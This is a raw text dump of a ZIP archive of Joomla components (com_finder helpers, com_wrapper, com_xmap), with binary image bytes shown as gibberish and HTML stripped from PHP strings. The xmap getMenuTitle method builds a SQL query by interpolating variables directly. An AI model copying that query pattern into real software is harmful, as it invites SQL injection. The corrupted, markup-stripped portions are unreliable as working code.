present. if ($item !== null) { $uri->setVar('Itemid', $item); } return $uri->toString(array('path', 'query')); } /** * Method to get the route for an advanced search page. * * @param integer $f The search filter id. [optional] * @param string $q The search query string. [optional] * * @return string The advanced search route. * * @since 2.5 */ public static function getAdvancedRoute($f = null, $q = null) { // Get the menu item id. $query = array('view' => 'advanced', 'q' => $q, 'f' => $f); $item = self::getItemid($query); // Get the base route. $uri = clone(JUri::getInstance('index.php?option=com_finder&view=advanced')); // Add the pre-defined search filter if present. if ($q !== null) { $uri->setVar('f', $f); } // Add the search query string if present. if ($q !== null) { $uri->setVar('q', $q); } // Add the menu item id if present. if ($item !== null) { $uri->setVar('Itemid', $item); } return $uri->toString(array('path', 'query')); } /** * Method to get the most appropriate menu item for the route based on the * supplied query needles. * * @param array $query An array of URL parameters. * * @return mixed An integer on success, null otherwise. * * @since 2.5 */ public static function getItemid($query) { static $items, $active; // Get the menu items for com_finder. if (!$items || !$active) { $app = JFactory::getApplication('site'); $com = JComponentHelper::getComponent('com_finder'); $menu = $app->getMenu(); $active = $menu->getActive(); $items = $menu->getItems('component_id', $com->id); $items = is_array($items) ? $items : array(); } // Try to match the active view and filter. if ($active && @$active->query['view'] == @$query['view'] && @$active->query['f'] == @$query['f']) { return $active->id; } // Try to match the view, query, and filter. foreach ($items as $item) { if (@$item->query['view'] == @$query['view'] && @$item->query['q'] == @$query['q'] && @$item->query['f'] == @$query['f']) { return $item->id; } } // Try to match the view and filter. foreach ($items as $item) { if (@$item->query['view'] == @$query['view'] && @$item->query['f'] == @$query['f']) { return $item->id; } } // Try to match the view. foreach ($items as $item) { if (@$item->query['view'] == @$query['view']) { return $item->id; } } return null; } } PKGy>\=="com_finder/helpers/html/filter.phpnuW+AgetQuery(true); $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); $html = ''; $in = ''; $filter = null; // Get the configuration options. $filterId = array_key_exists('filter_id', $options) ? $options['filter_id'] : null; $activeNodes = array_key_exists('selected_nodes', $options) ? $options['selected_nodes'] : array(); $activeDates = array_key_exists('selected_dates', $options) ? $options['selected_dates'] : array(); $classSuffix = array_key_exists('class_suffix', $options) ? $options['class_suffix'] : ''; $loadMedia = array_key_exists('load_media', $options) ? $options['load_media'] : true; $showDates = array_key_exists('show_date_filters', $options) ? $options['show_date_filters'] : false; // Load the predefined filter if specified. if (!empty($filterId)) { $query->select('f.' . $db->quoteName('data') . ', f.' . $db->quoteName('params')); $query->from($db->quoteName('#__finder_filters') . ' AS f'); $query->where($db->quoteName('f').'.' . $db->quoteName('filter_id') . ' = ' . (int) $filterId); // Load the filter data. $db->setQuery($query); $filter = $db->loadObject(); // Check for an error. if ($db->getErrorNum()) { return null; } // Initialize the filter parameters. if ($filter) { $registry = new JRegistry; $registry->loadString($filter->params); $filter->params = $registry; } } // Build the query to get the branch data and the number of child nodes. $query->clear(); $query->select('t.*, count(c.id) AS children'); $query->from($db->quoteName('#__finder_taxonomy') . ' AS t'); $query->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS c ON c.parent_id = t.id'); $query->where($db->quoteName('t.parent_id') . ' = 1'); $query->where($db->quoteName('t.state') . ' = 1'); $query->where($db->quoteName('t.access') . ' IN (' . $groups . ')'); $query->where($db->quoteName('c.state') . ' = 1'); $query->where($db->quoteName('c.access') . ' IN (' . $groups . ')'); $query->group('t.id, t.parent_id, t.state, t.access, t.ordering, t.title, c.parent_id'); $query->order('t.ordering, t.title'); // Limit the branch children to a predefined filter. if ($filter) { $query->where('c.id IN(' . $filter->data . ')'); } // Load the branches. $db->setQuery($query); $branches = $db->loadObjectList('id'); // Check for an error. if ($db->getErrorNum()) { return null; } // Check that we have at least one branch. if (count($branches) === 0) { return null; } // Load the CSS/JS resources. if ($loadMedia) { JHtml::stylesheet('com_finder/sliderfilter.css', false, true, false); JHtml::script('com_finder/sliderfilter.js', false, true); } // Load plug-in language files. FinderHelperLanguage::loadPluginLanguage(); // Start the widget. $html .= '
            '; $html .= '
            '; $html .= '
            '; $html .= ''; $html .= '
            '; // Iterate through the branches to build the branch selector. foreach ($branches as $bk => $bv) { // If the multi-lang plug-in is enabled then drop the language branch. if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) { continue; } $html .= '
            '; $html .= ''; $html .= '
            '; } $html .= '
            '; $html .= '
            '; // Iterate through the branches and build the branch groups. foreach ($branches as $bk => $bv) { // If the multi-lang plug-in is enabled then drop the language branch. if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) { continue; } // Build the query to get the child nodes for this branch. $query->clear(); $query->select('t.*'); $query->from($db->quoteName('#__finder_taxonomy') . ' AS t'); $query->where($db->quoteName('t.parent_id') . ' = ' . (int) $bk); $query->where($db->quoteName('t.state') . ' = 1'); $query->where($db->quoteName('t.access') . ' IN (' . $groups . ')'); $query->order('t.ordering, t.title'); // Load the branches. $db->setQuery($query); $nodes = $db->loadObjectList('id'); // Check for an error. if ($db->getErrorNum()) { return null; } // Translate node titles if possible. $lang = JFactory::getLanguage(); foreach ($nodes as $nk => $nv) { $key = FinderHelperLanguage::branchPlural($nv->title); if ($lang->hasKey($key)) { $nodes[$nk]->title = JText::_($key); } } // Start the group. $html .= '
            '; $html .= '
            '; $html .= ''; $html .= '
            '; // Populate the group with nodes. foreach ($nodes as $nk => $nv) { // Determine if the node should be checked. $checked = in_array($nk, $activeNodes) ? ' checked="checked"' : ''; // Build a node. $html .= '
            '; $html .= ''; $html .= '
            '; } // Close the group. $html .= '
            '; } // Close the widget. $html .= '
            '; $html .= '
            '; $html .= '
            '; return $html; } /** * Method to generate filters using select box drop down controls. * * @param FinderIndexerQuery $query A FinderIndexerQuery object. * @param array $options An array of options. * * @return mixed A rendered HTML widget on success, null otherwise. * * @since 2.5 */ public static function select($query, $options) { $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); $filter = null; // Get the configuration options. $classSuffix = $options->get('class_suffix', null); $loadMedia = $options->get('load_media', true); $showDates = $options->get('show_date_filters', false); // Try to load the results from cache. $cache = JFactory::getCache('com_finder', ''); $cacheId = 'filter_select_' . serialize(array($query->filter, $options, $groups, JFactory::getLanguage()->getTag())); // Check the cached results. if (!($branches = $cache->get($cacheId))) { $db = JFactory::getDBO(); $sql = $db->getQuery(true); // Load the predefined filter if specified. if (!empty($query->filter)) { $sql->select($db->quoteName('f') . '.' . $db->quoteName('data') . ', '. $db->quoteName('f') . '.' . $db->quoteName('params')); $sql->from($db->quoteName('#__finder_filters') . ' AS f'); $sql->where($db->quoteName('f') . '.' . $db->quoteName('filter_id') . ' = ' . (int) $query->filter); // Load the filter data. $db->setQuery($sql); $filter = $db->loadObject(); // Check for an error. if ($db->getErrorNum()) { return null; } // Initialize the filter parameters. if ($filter) { $registry = new JRegistry; $registry->loadString($filter->params); $filter->params = $registry; } } // Build the query to get the branch data and the number of child nodes. $sql->clear(); $sql->select('t.*, count(c.id) AS children'); $sql->from($db->quoteName('#__finder_taxonomy') . ' AS t'); $sql->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS c ON c.parent_id = t.id'); $sql->where($db->quoteName('t') . '.' . $db->quoteName('parent_id') . ' = 1'); $sql->where($db->quoteName('t') . '.' . $db->quoteName('state') . ' = 1'); $sql->where($db->quoteName('t') . '.' . $db->quoteName('access') . ' IN (' . $groups . ')'); $sql->where($db->quoteName('c') . '.' . $db->quoteName('state') . ' = 1'); $sql->where($db->quoteName('t') . '.' . $db->quoteName('access') . ' IN (' . $groups . ')'); $sql->group($db->quoteName('t') . '.' . $db->quoteName('id')); $sql->order('t.ordering, t.title'); // Limit the branch children to a predefined filter. if (!empty($filter->data)) { $sql->where('c.id IN(' . $filter->data . ')'); } // Load the branches. $db->setQuery($sql); $branches = $db->loadObjectList('id'); // Check for an error. if ($db->getErrorNum()) { return null; } // Check that we have at least one branch. if (count($branches) === 0) { return null; } // Iterate through the branches and build the branch groups. foreach ($branches as $bk => $bv) { // If the multi-lang plug-in is enabled then drop the language branch. if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) { continue; } // Build the query to get the child nodes for this branch. $sql->clear(); $sql->select('t.*'); $sql->from($db->quoteName('#__finder_taxonomy') . ' AS t'); $sql->where($db->quoteName('t') . '.' . $db->quoteName('parent_id') . ' = ' . (int) $bk); $sql->where($db->quoteName('t') . '.' . $db->quoteName('state') . ' = 1'); $sql->where($db->quoteName('t') . '.' . $db->quoteName('access') . ' IN (' . $groups . ')'); $sql->order('t.ordering, t.title'); // Limit the nodes to a predefined filter. if (!empty($filter->data)) { $sql->where('t.id IN(' . $filter->data . ')'); } // Load the branches. $db->setQuery($sql); $branches[$bk]->nodes = $db->loadObjectList('id'); // Check for an error. if ($db->getErrorNum()) { return null; } // Translate branch nodes if possible. $language = JFactory::getLanguage(); foreach($branches[$bk]->nodes as $node_id => $node) { $key = FinderHelperLanguage::branchPlural($node->title); if ($language->hasKey($key)) { $branches[$bk]->nodes[$node_id]->title = JText::_($key); } } // Add the Search All option to the branch. array_unshift($branches[$bk]->nodes, array('id' => null, 'title' => JText::_('COM_FINDER_FILTER_SELECT_ALL_LABEL'))); } // Store the data in cache. $cache->store($branches, $cacheId); } $html = ''; // Add the dates if enabled. if ($showDates) { $html .= JHtml::_('filter.dates', $query, $options); } $html .= '
              '; // Iterate through all branches and build code. foreach ($branches as $bk => $bv) { // If the multi-lang plug-in is enabled then drop the language branch. if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) { continue; } $active = null; // Check if the branch is in the filter. if (array_key_exists($bv->title, $query->filters)) { // Get the request filters. $temp = JFactory::getApplication()->input->request->get('t', array(), 'array'); // Search for active nodes in the branch and get the active node. $active = array_intersect($temp, $query->filters[$bv->title]); $active = count($active) === 1 ? array_shift($active) : null; } $html .= '
            • '; $html .= ''; $html .= JHtml::_('select.genericlist', $branches[$bk]->nodes, 't[]', 'class="inputbox"', 'id', 'title', $active, 'tax-' . JFilterOutput::stringUrlSafe($bv->title)); $html .= '
            • '; } // Close the widget. $html .= '
            '; // Load the CSS/JS resources. if ($loadMedia) { JHtml::stylesheet('com_finder/sliderfilter.css', false, true, false); } return $html; } /** * Method to generate fields for filtering dates * * @param FinderIndexerQuery $query A FinderIndexerQuery object. * @param array $options An array of options. * * @return mixed A rendered HTML widget on success, null otherwise. * * @since 2.5 */ public static function dates($query, $options) { $html = ''; // Get the configuration options. $classSuffix = $options->get('class_suffix', null); $loadMedia = $options->get('load_media', true); $showDates = $options->get('show_date_filters', false); if (!empty($showDates)) { // Build the date operators options. $operators = array(); $operators[] = JHtml::_('select.option', 'before', JText::_('COM_FINDER_FILTER_DATE_BEFORE')); $operators[] = JHtml::_('select.option', 'exact', JText::_('COM_FINDER_FILTER_DATE_EXACTLY')); $operators[] = JHtml::_('select.option', 'after', JText::_('COM_FINDER_FILTER_DATE_AFTER')); // Load the CSS/JS resources. if ($loadMedia) { JHtml::stylesheet('com_finder/dates.css', false, true, false); } // Open the widget. $html .= '
              '; // Start date filter. $html .= '
            • '; $html .= ''; $html .= '
              '; $html .= JHtml::_('select.genericlist', $operators, 'w1', 'class="inputbox filter-date-operator"', 'value', 'text', $query->when1, 'finder-filter-w1'); $html .= JHtml::calendar($query->date1, 'd1', 'filter_date1', '%Y-%m-%d', 'title="' . JText::_('COM_FINDER_FILTER_DATE1_DESC') . '"'); $html .= '
            • '; // End date filter. $html .= '
            • '; $html .= ''; $html .= '
              '; $html .= JHtml::_('select.genericlist', $operators, 'w2', 'class="inputbox filter-date-operator"', 'value', 'text', $query->when2, 'finder-filter-w2'); $html .= JHtml::calendar($query->date2, 'd2', 'filter_date2', '%Y-%m-%d', 'title="' . JText::_('COM_FINDER_FILTER_DATE2_DESC') . '"'); $html .= '
            • '; // Close the widget. $html .= '
            '; } return $html; } } PKGy>\i֯!com_finder/helpers/html/query.phpnuW+Aincluded as $token) { if ($token->required && (!isset($token->derived) || $token->derived == false)) { $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_TOKEN_REQUIRED', $token->term) . ''; } } // Process the optional tokens. foreach ($query->included as $token) { if (!$token->required && (!isset($token->derived) || $token->derived == false)) { $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_TOKEN_OPTIONAL', $token->term) . ''; } } // Process the excluded tokens. foreach ($query->excluded as $token) { if (!isset($token->derived) || $token->derived == false) { $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_TOKEN_EXCLUDED', $token->term) . ''; } } // Process the start date. if ($query->date1) { $date = JFactory::getDate($query->date1)->format(JText::_('DATE_FORMAT_LC')); $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_START_DATE', $query->when1, $date) . ''; } // Process the end date. if ($query->date2) { $date = JFactory::getDate($query->date2)->format(JText::_('DATE_FORMAT_LC')); $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_END_DATE', $query->when2, $date) . ''; } // Process the taxonomy filters. if (!empty($query->filters)) { // Get the filters in the request. $t = JFactory::getApplication()->input->request->get('t', array(), 'array'); // Process the taxonomy branches. foreach ($query->filters as $branch => $nodes) { // Process the taxonomy nodes. $lang = JFactory::getLanguage(); foreach ($nodes as $title => $id) { // Translate the title for Types $key = FinderHelperLanguage::branchPlural($title); if ($lang->hasKey($key)) { $title = JText::_($key); } // Don't include the node if it is not in the request. if (!in_array($id, $t)) { continue; } // Add the node to the explanation. $bv = JString::strtolower($branch); $nv = JString::strtolower($title); $parts[] = '' . JText::sprintf('COM_FINDER_QUERY_TAXONOMY_NODE', $title, JText::_(FinderHelperLanguage::branchSingular($branch))) . ''; } } } // Build the interpreted query. return count($parts) ? JText::sprintf('COM_FINDER_QUERY_TOKEN_INTERPRETED', implode(JText::_('COM_FINDER_QUERY_TOKEN_GLUE'), $parts)) : null; } /** * Method to get the suggested search query. * * @param FinderIndexerQuery $query A FinderIndexerQuery object. * * @return mixed String if there is a suggestion, false otherwise. * * @since 2.5 */ public static function suggested(FinderIndexerQuery $query) { $suggested = false; // Check if the query input is empty. if (empty($query->input)) { return $suggested; } // Check if there were any ignored or included keywords. if (count($query->ignored) || count($query->included)) { $suggested = $query->input; // Replace the ignored keyword suggestions. foreach (array_reverse($query->ignored) as $token) { if (isset($token->suggestion)) { $suggested = str_replace($token->term, $token->suggestion, $suggested); } } // Replace the included keyword suggestions. foreach (array_reverse($query->included) as $token) { if (isset($token->suggestion)) { $suggested = str_replace($token->term, $token->suggestion, $suggested); } } // Check if we made any changes. if ($suggested == $query->input) { $suggested = false; } } return $suggested; } } PKGy>\Gcom_wrapper/wrapper.xmlnuW+A com_wrapper Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_WRAPPER_XML_DESCRIPTION controller.php index.html metadata.xml router.php wrapper.php views language/en-GB.com_wrapper.ini index.html PKGy>\W[com_wrapper/wrapper.phpnuW+Aexecute(JRequest::getCmd('task')); $controller->redirect(); PKGy>\==com_wrapper/metadata.xmlnuW+A PKGy>\*ƲJJcom_wrapper/router.phpnuW+A\)com_wrapper/.htaccessnuW+A Order allow,deny Deny from all PKGy>\Vcom_wrapper/index.htmlnuW+A PKGy>\)com_wrapper/views/.htaccessnuW+A Order allow,deny Deny from all PKGy>\)#com_wrapper/views/wrapper/.htaccessnuW+A Order allow,deny Deny from all PKGy>\&com_wrapper/views/wrapper/metadata.xmlnuW+A PKGy>\)(com_wrapper/views/wrapper/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\,g^ ^ *com_wrapper/views/wrapper/tmpl/default.xmlnuW+A
            PKGy>\e>GG*com_wrapper/views/wrapper/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading'))) :?> escape($this->params->get('page_heading')); ?> escape($this->params->get('page_title')); ?>

            PKGy>\V)com_wrapper/views/wrapper/tmpl/index.htmlnuW+A PKGy>\q+  'com_wrapper/views/wrapper/view.html.phpnuW+AgetMenu(); $menu = $menus->getActive(); $params = $app->getParams(); // because the application sets a default page title, we need to get it // right from the menu item itself $title = $params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($params->get('menu-meta_description')) { $this->document->setDescription($params->get('menu-meta_description')); } if ($params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $params->get('menu-meta_keywords')); } if ($params->get('robots')) { $this->document->setMetadata('robots', $params->get('robots')); } $wrapper = new stdClass(); // auto height control if ($params->def('height_auto')) { $wrapper->load = 'onload="iFrameHeight()"'; } else { $wrapper->load = ''; } $url = $params->def('url', ''); if ($params->def('add_scheme', 1)) { // adds 'http://' if none is set if (substr($url, 0, 1) == '/') { // relative url in component. use server http_host. $wrapper->url = 'http://'. $_SERVER['HTTP_HOST'] . $url; } elseif (!strstr($url, 'http') && !strstr($url, 'https')) { $wrapper->url = 'http://'. $url; } else { $wrapper->url = $url; } } else { $wrapper->url = $url; } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->assignRef('params', $params); $this->assignRef('wrapper', $wrapper); parent::display($tpl); } } PKGy>\V$com_wrapper/views/wrapper/index.htmlnuW+A PKGy>\Vcom_wrapper/views/index.htmlnuW+A PKGy>\X[com_wrapper/controller.phpnuW+A'INT')); } } PKGy>\ҹ' ' com_xmap/displayer.phpnuW+Aget('id'))); $date = new JDate(); $this->userLevels = (array)$user->getAuthorisedViewLevels(); // Deprecated: should use userLevels from now on // $this->gid = $user->gid; $this->now = $date->toUnix(); $this->config = $config; $this->sitemap = $sitemap; $this->isNews = false; $this->isImages = false; $this->count = 0; $this->canEdit = false; } public function printNode( &$node ) { return false; } public function printSitemap() { foreach ($this->jview->items as $menutype => &$items) { $node = new stdclass(); $node->uid = "menu-".$menutype; $node->menutype = $menutype; $node->priority = null; $node->changefreq = null; // $node->priority = $menu->priority; // $node->changefreq = $menu->changefreq; $node->browserNav = 3; $node->type = 'separator'; /** * @todo allow the user to provide the module used to display that menu, or some other * workaround */ $node->name = $this->getMenuTitle($menutype,'mod_menu'); // Get the name of this menu $this->startMenu($node); $this->printMenuTree($node, $items); $this->endMenu($node); } } public function setJView($view) { $this->jview = $view; } public function getMenuTitle($menutype,$module='mod_menu') { $app = JFactory::getApplication(); $db = JFactory::getDbo(); $title = $extra = ''; // Filter by language if ($app->getLanguageFilter()) { $extra = ' AND language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')'; } $db->setQuery( "SELECT * FROM #__modules WHERE module='{$module}' AND params " ."LIKE '%\"menutype\":\"{$menutype}\"%' AND access IN (".implode(',',$this->userLevels).") " ."AND published=1 AND client_id=0 " . $extra . "LIMIT 1" ); $module = $db->loadObject(); if ($module) { $title = $module->title; } return $title; } protected function startMenu(&$node) { return true; } protected function endMenu(&$node) { return true; } protected function printMenuTree($menu,&$items) { $this->changeLevel(1); $router = JSite::getRouter(); foreach ( $items as $i => $item ) { // Add each menu entry to the root tree. $excludeExternal = false; $node = new stdclass; $node->id = $item->id; $node->uid = $item->uid; $node->name = $item->title; // displayed name of node // $node->parent = $item->parent; // id of parent node $node->browserNav = $item->browserNav; // how to open link $node->priority = $item->priority; $node->changefreq = $item->changefreq; $node->type = $item->type; // menuentry-type $node->menutype = $menu->menutype; // menuentry-type $node->home = $item->home; // If it's a home menu entry // $node->link = isset( $item->link ) ? htmlspecialchars( $item->link ) : ''; $node->link = $item->link; $node->option = $item->option; $node->modified = @$item->modified; $node->secure = $item->params->get('secure'); // New on Xmap 2.0: send the menu params $node->params =& $item->params; if ($node->home == 1) { // Correct the URL for the home page. $node->link = JURI::base(); } switch ($item->type) { case 'separator': $node->browserNav=3; break; case 'url': if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) { // If this is an internal Joomla link, ensure the Itemid is set. $node->link = $node->link.'&Itemid='.$node->id; } else { $excludeExternal = ($this->view == 'xml'); } break; case 'alias': // If this is an alias use the item id stored in the parameters to make the link. $node->link = 'index.php?Itemid='.$item->params->get('aliasoptions'); break; default: if ($router->getMode() == JROUTER_MODE_SEF) { $node->link = 'index.php?Itemid='.$node->id; } elseif (!$node->home) { $node->link .= '&Itemid='.$node->id; } break; } if ($excludeExternal || $this->printNode($node)) { //Restore the original link $node->link = $item->link; $this->printMenuTree($node,$item->items); $matches=array(); //if ( preg_match('#^/?index.php.*option=(com_[^&]+)#',$node->link,$matches) ) { if ( $node->option ) { if ( !empty($this->jview->extensions[$node->option]) ) { $node->uid = $node->option; $className = 'xmap_'.$node->option; $result = call_user_func_array(array($className, 'getTree'),array(&$this,&$node,&$this->jview->extensions[$node->option]->params)); } } //XmapPlugins::printTree( $this, $node, $this->jview->extensions ); // Determine the menu entry's type and call it's handler } } $this->changeLevel(-1); } public function changeLevel($step) { return true; } public function getCount() { return $this->count; } public function &getExcludedItems() { static $_excluded_items; if (!isset($_excluded_items)) { $_excluded_items = array(); $registry = new JRegistry('_default'); $registry->loadString($this->sitemap->excluded_items); $_excluded_items = $registry->toArray(); } return $_excluded_items; } public function isExcluded($itemid,$uid) { $excludedItems = $this->getExcludedItems(); $items = NULL; if (!empty($excludedItems[$itemid])) { if (is_object($excludedItems[$itemid])) { $excludedItems[$itemid] = (array) $excludedItems[$itemid]; } $items =& $excludedItems[$itemid]; } if (!$items) { return false; } return ( in_array($uid, $items)); } } PKGy>\f>>com_xmap/metadata.xmlnuW+A PKGy>\rII#com_xmap/assets/images/img_blue.gifnuW+AGIF89a f!, @&`B ֵ*.Dv!z;PKGy>\CJJ#com_xmap/assets/images/img_grey.gifnuW+AGIF89a !, @`B!ֵ*.`=#]H;PKGy>\-^[[#com_xmap/assets/images/sortdown.gifnuW+AGIF89a 'xy]^!, @ 0BfĹ:[' 4hXY|Sd;PKGy>\*[TT com_xmap/assets/images/arrow.gifnuW+AGIF89a3f3333f333ff3fffff3f3f̙3f3333f3333333333f3333333f3f33ff3f3f3f3333f3333333f3̙333333f333ff3ffffff3f33f3ff3f3f3ffff3fffffffffff3fffffff3fff̙ffff3fffff3f̙3333f33̙3ff3ffff̙f3f̙3f̙̙3f̙3f3333f333ff3fffff̙̙3̙f̙̙̙3f̙3f3f3333f333ff3fffff3f3f̙3f,9H*\Ȑ#Jŋ1#B5&@B?L.Ӱ˗ ;PKGy>\_ILL&com_xmap/assets/images/unpublished.pngnuW+APNG  IHDR(-SsBITOPLTE もRR:: 夤((tt%%66붶oo 䒒CCcc??{{))33mmHH\\rr22;;LL99** ##{{))MM88ffssta`\6!com_xmap/assets/images/index.htmlnuW+APKGy>\-::#com_xmap/assets/images/txt_blue.gifnuW+AGIF89a 33!, @ ~42Kߕ ;PKGy>\ػ,com_xmap/assets/images/tick.pngnuW+APNG  IHDR(-SsBITOPLTEL ֥Rԟc ~V `k/W߲֖}_]g$渌PP ݱ\ vBr[\T I׃ߩ\RW l%Ұp5΄aT`8tRNS em pHYs  ~tEXtSoftwareMacromedia Fireworks 8hxIDATcE h|C4e6Tci-mn3YX4@HCRF`k5y@|a55~;LX}UKu$%%吜.oćEQ89Ř1} & <IENDB`PKGy>\8dNB::#com_xmap/assets/images/txt_grey.gifnuW+AGIF89a !, {Q"yP;PKGy>\§{JJ%com_xmap/assets/images/img_orange.gifnuW+AGIF89a  !, @&LH(Zt=Sa;PKGy>\tiJJ"com_xmap/assets/images/img_red.gifnuW+AGIF89a 3X!, @&LH(Zt=Sa;PKGy>\CXX$com_xmap/assets/images/img_green.gifnuW+AGIF89a f3!, @HoE5Th,\29@6]1f$;PKGy>\Z:::$com_xmap/assets/images/txt_green.gifnuW+AGIF89a f!, @ ~42Kߕ ;PKGy>\) com_xmap/assets/images/.htaccessnuW+A Order allow,deny Deny from all PKGy>\7vv!com_xmap/assets/images/sortup.gifnuW+AGIF89a 'xy]^!, @#I#=BPM1zGc[O;PKGy>\8N::"com_xmap/assets/images/txt_red.gifnuW+AGIF89a !, {Q"yP;PKGy>\::%com_xmap/assets/images/txt_orange.gifnuW+AGIF89a }!, @ ~42Kߕ ;PKGy>\6com_xmap/assets/index.htmlnuW+APKGy>\)com_xmap/assets/css/.htaccessnuW+A Order allow,deny Deny from all PKGy>\DDcom_xmap/assets/css/xmap.cssnuW+A/* list-style: pos1 pos2 po3; * parameter: * pos1: none | disc | circle | square * pos2: inside | outside * pos3: none | url('arrow.gif') * more info under: http://www.w3schools.com/css/css_list.asp */ #xmap ul { display : block; list-style : none; margin : 0; padding : 0; } #xmap ul li { margin : 0; padding : 0; background : transparent; } #xmap a img { border : none; } #xmap ul.level_0 ul { list-style : inside square; padding : 0; } #xmap ul.level_1 li { padding : 0 1em 0 1em; } #xmap .active { font-style : italic; } PKGy>\6com_xmap/assets/css/index.htmlnuW+APKGy>\9u3u3 com_xmap/assets/xsl/gssadmin.xslnuW+A Google Sitemap File

            Site Map

            Number of URLs in this Sitemap:

            Sitemap URL Last modification date Change freq. Priority
            PKGy>\6com_xmap/assets/xsl/index.htmlnuW+APKGy>\)com_xmap/assets/xsl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\{{com_xmap/assets/xsl/gss.xslnuW+A Google Sitemap File

            Site Map

            Number of URLs in this Sitemap:

            Sitemap URL Last modification date Change freq. Priority
            PKGy>\)com_xmap/assets/.htaccessnuW+A Order allow,deny Deny from all PKGy>\6com_xmap/views/html/index.htmlnuW+APKGy>\)com_xmap/views/html/.htaccessnuW+A Order allow,deny Deny from all PKGy>\`  !com_xmap/views/html/view.html.phpnuW+Aapp = JFactory::getApplication(); $this->user = JFactory::getUser(); $doc = JFactory::getDocument(); // Get view related request variables. $this->print = JRequest::getBool('print'); // Get model data. $this->state = $this->get('State'); $this->item = $this->get('Item'); $this->items = $this->get('Items'); $this->canEdit = JFactory::getUser()->authorise('core.admin', 'com_xmap'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } $this->extensions = $this->get('Extensions'); // Add router helpers. $this->item->slug = $this->item->alias ? ($this->item->id . ':' . $this->item->alias) : $this->item->id; $this->item->rlink = JRoute::_('index.php?option=com_xmap&view=html&id=' . $this->item->slug); // Create a shortcut to the paramemters. $params = &$this->state->params; $offset = $this->state->get('page.offset'); if ($params->get('include_css', 0)){ $doc->addStyleSheet(JURI::root().'components/com_xmap/assets/css/xmap.css'); } // If a guest user, they may be able to log in to view the full article // TODO: Does this satisfy the show not auth setting? if (!$this->item->params->get('access-view')) { if ($user->get('guest')) { // Redirect to login $uri = JFactory::getURI(); $app->redirect( 'index.php?option=com_users&view=login&return=' . base64_encode($uri), JText::_('Xmap_Error_Login_to_view_sitemap') ); return; } else { JError::raiseWarning(403, JText::_('Xmap_Error_Not_auth')); return; } } // Override the layout. if ($layout = $params->get('layout')) { $this->setLayout($layout); } // Load the class used to display the sitemap $this->loadTemplate('class'); $this->displayer = new XmapHtmlDisplayer($params, $this->item); $this->displayer->setJView($this); $this->displayer->canEdit = $this->canEdit; $this->_prepareDocument(); parent::display($tpl); $model = $this->getModel(); $model->hit($this->displayer->getCount()); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $pathway = $app->getPathway(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself if ($menu = $menus->getActive()) { if (isset($menu->query['view']) && isset($menu->query['id'])) { if ($menu->query['view'] == 'html' && $menu->query['id'] == $this->item->id) { $menuParams = new JRegistry($menu->params); $title = $menuParams->get('page_title'); $this->document->setDescription($menuParams->get('menu-meta_description')); $this->document->setMetadata('keywords', $menuParams->get('menu-meta_keywords')); } } } if (empty($title)) { $title = $this->item->title; } $this->document->setTitle($title); if ($app->getCfg('MetaTitle') == '1') { $this->document->setMetaData('title', $this->item->title); } if ($this->print) { $this->document->setMetaData('robots', 'noindex, nofollow'); } } } PKGy>\  com_xmap/views/html/metadata.xmlnuW+A PKGy>\Q*com_xmap/views/html/tmpl/default_class.phpnuW+Aview = 'html'; parent::__construct($config, $sitemap); $this->_parent_children=array(); $this->_last_child=array(); $this->live_site = substr_replace(JURI::root(), "", -1, 1); $user = JFactory::getUser(); } function setJView($view) { parent::setJView($view); $columns = $this->sitemap->params->get('columns',0); if( $columns > 1 ) { // calculate column widths $total = count($view->items); $columns = $total < $columns? $total : $columns; $this->_width = (100 / $columns) - 1; $this->sitemap->params->set('columns',$columns); } } /** * Prints one node of the sitemap * * * @param object $node * @return boolean */ function printNode( &$node ) { $out = ''; if ($this->isExcluded($node->id,$node->uid) && !$this->canEdit) { return FALSE; } // To avoid duplicate children in the same parent if ( !empty($this->_parent_children[$this->level][$node->uid]) ) { return FALSE; } //var_dump($this->_parent_children[$this->level]); $this->_parent_children[$this->level][$node->uid] = true; $out .= $this->_closeItem; $out .= $this->_openList; $this->_openList = ""; $out .= '
